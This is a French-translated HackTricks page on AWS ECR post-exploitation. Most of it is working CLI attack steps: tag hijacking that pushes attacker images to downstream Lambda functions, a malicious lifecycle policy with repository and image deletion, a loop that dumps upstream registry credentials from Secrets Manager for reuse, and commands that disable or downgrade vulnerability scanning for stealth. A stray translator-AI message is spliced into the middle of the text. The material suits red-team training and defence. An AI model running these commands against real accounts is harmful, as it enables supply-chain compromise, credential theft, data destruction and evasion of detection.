AWS - ECR Post-exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
ECR
Pour plus dâinformations, consultez
Login, Pull & Push
# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
AprĂšs avoir tĂ©lĂ©chargĂ© les images, vous devriez vĂ©rifier quâelles ne contiennent pas dâinformations sensibles:
Overwrite a Trusted Tag via ecr:PutImage (Tag Hijacking / Supply Chain)
Si des consommateurs dĂ©ploient par tag (par exemple stable, prod, latest) et que les tags sont modifiables, ecr:PutImage peut ĂȘtre utilisĂ© pour pointer un tag de confiance vers du contenu contrĂŽlĂ© par lâattaquant en tĂ©lĂ©versant un manifest dâimage sous ce tag.
Une approche courante consiste Ă copier le manifest dâun tag existant contrĂŽlĂ© par lâattaquant (ou dâun digest) et Ă Ă©craser le tag de confiance avec celui-ci.
REGION=us-east-1
REPO="<repo_name>"
SRC_TAG="backdoor" # attacker-controlled tag already present in the repository
DST_TAG="stable" # trusted tag used by downstream systems
# 1) Fetch the manifest behind the attacker tag
MANIFEST="$(aws ecr batch-get-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-ids imageTag="$SRC_TAG" \
--query 'images[0].imageManifest' \
--output text)"
# 2) Overwrite the trusted tag with that manifest
aws ecr put-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-tag "$DST_TAG" \
--image-manifest "$MANIFEST"
# 3) Verify both tags now point to the same digest
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text
Impact: toute charge de travail rĂ©cupĂ©rant .../$REPO:$DST_TAG recevra un contenu choisi par lâattaquant sans aucune modification des IaC, Kubernetes manifests, ou task definitions.
Exemple de consommateur en aval: Lambda images de conteneur se rafraĂźchissant automatiquement lors des mises Ă jour de tag
Si une fonction Lambda est dĂ©ployĂ©e en tant que image de conteneur (PackageType=Image) et utilise un ECR tag (par ex., :stable, :prod) au lieu dâun digest, Ă©craser ce tag peut transformer une altĂ©ration de la chaĂźne dâapprovisionnement en exĂ©cution de code dans le rĂŽle dâexĂ©cution Lambda une fois la fonction rafraĂźchie.
Comment énumérer cette situation:
REGION=us-east-1
# 1) Find image-based Lambda functions and their ImageUri
aws lambda list-functions --region "$REGION" \
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
tr '\t' '\n' | while read -r fn; do
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
done
# 2) Check whether a function references a mutable tag (contains ":<tag>")
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
Comment le rafraßchissement se produit fréquemment :
- CI/CD ou GitOps appelle réguliÚrement
lambda:UpdateFunctionCode(mĂȘme avec le mĂȘmeImageUri) pour forcer Lambda Ă rĂ©soudre de nouveau le tag. - Une automation pilotĂ©e par Ă©vĂ©nements Ă©coute les Ă©vĂ©nements dâimages ECR (push/mises Ă jour de tag) et dĂ©clenche un Lambda/une automation de rafraĂźchissement.
Si vous pouvez Ă©craser le tag de confiance et quâun mĂ©canisme de rafraĂźchissement existe, la prochaine invocation de la fonction exĂ©cutera du code contrĂŽlĂ© par lâattaquant, qui pourra alors lire les variables dâenvironnement, accĂ©der Ă des ressources rĂ©seau et appeler les API AWS en utilisant le rĂŽle Lambda (par exemple, secretsmanager:GetSecretValue).
ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage
Un attaquant disposant de lâune de ces permissions peut crĂ©er ou modifier une lifecycle policy pour supprimer toutes les images du repository puis supprimer lâensemble du ECR repository. Cela entraĂźnerait la perte de toutes les images de conteneurs stockĂ©es dans le repository.
# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json
# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force
# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
Exfiltrer les identifiants de registres en amont depuis ECR PullâThrough Cache (PTC)
Si ECR PullâThrough Cache est configurĂ© pour des registres en amont authentifiĂ©s (Docker Hub, GHCR, ACR, etc.), les identifiants en amont sont stockĂ©s dans AWS Secrets Manager avec un prĂ©fixe de nom prĂ©visible : ecr-pullthroughcache/. Les opĂ©rateurs accordent parfois aux admins ECR un accĂšs lecture Ă©tendu Ă Secrets Manager, ce qui permet lâexfiltration des identifiants et leur rĂ©utilisation en dehors dâAWS.
Prérequis
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
ĂnumĂ©rer les secrets PTC candidats
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
Dump discovered secrets et analyser les champs communs
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done
Optionnel : valider les leaked creds contre lâupstream (readâonly login)
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
Impact
- La lecture de ces entrĂ©es Secrets Manager permet dâobtenir des identifiants rĂ©utilisables du registre en amont (username/password ou token), qui peuvent ĂȘtre abusĂ©s en dehors dâAWS pour rĂ©cupĂ©rer des images privĂ©es ou accĂ©der Ă des dĂ©pĂŽts supplĂ©mentaires selon les permissions en amont.
FurtivitĂ© au niveau du registre : dĂ©sactiver ou rĂ©trograder lâanalyse via ecr:PutRegistryScanningConfiguration
Un attaquant disposant de permissions ECR au niveau du registre peut silencieusement rĂ©duire ou dĂ©sactiver lâanalyse automatique des vulnĂ©rabilitĂ©s pour TOUS les dĂ©pĂŽts en dĂ©finissant la configuration de scanning du registre sur BASIC sans aucune rĂšgle scan-on-push. Cela empĂȘche les nouveaux pushs dâimages dâĂȘtre analysĂ©s automatiquement, masquant des images vulnĂ©rables ou malveillantes.
Requirements
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optionnel, par dépÎt)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (vérification)
Registry-wide downgrade to manual (no auto scans)
REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"
# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'
Test avec un repo et une image
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
Je nâai pas reçu le contenu du fichier src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md. Collez le contenu ici et je le traduirai en français en respectant vos consignes (conserver la syntaxe Markdown/HTML, ne pas traduire le code, noms de services, liens, chemins, tags, etc.).
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false
Impact
- Les nouvelles pushes dâimages dans le registry ne sont pas scannĂ©es automatiquement, ce qui rĂ©duit la visibilitĂ© du contenu vulnĂ©rable ou malveillant et retarde la dĂ©tection jusquâĂ ce quâun scan manuel soit lancĂ©.
Registryâwide scanning engine downgrade via ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)
RĂ©duisez la qualitĂ© de dĂ©tection des vulnĂ©rabilitĂ©s sur lâensemble du registre en basculant le moteur de scan BASIC par dĂ©faut dâAWS_NATIVE vers le moteur legacy CLAIR. Cela nâempĂȘche pas le scanning mais peut modifier de maniĂšre significative les rĂ©sultats/couverture. Combinez avec une configuration de scan registry BASIC sans rĂšgles pour rendre les scans uniquement manuels.
Prérequis
ecr:PutAccountSetting,ecr:GetAccountSetting- (Optionnel)
ecr:PutRegistryScanningConfiguration,ecr:GetRegistryScanningConfiguration
Impact
- Le paramĂštre du registre
BASIC_SCAN_TYPE_VERSIONest dĂ©fini surCLAIR, de sorte que les scans BASIC suivants sâexĂ©cutent avec le moteur dĂ©gradĂ©. CloudTrail enregistre lâappel APIPutAccountSetting.
Ătapes
REGION=us-east-1
# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
# 2) Downgrade BASIC scan engine registryâwide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manualâonly scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
Scanner les images ECR à la recherche de vulnérabilités
#!/bin/bash
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
region=<region>
profile=<aws_profile>
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

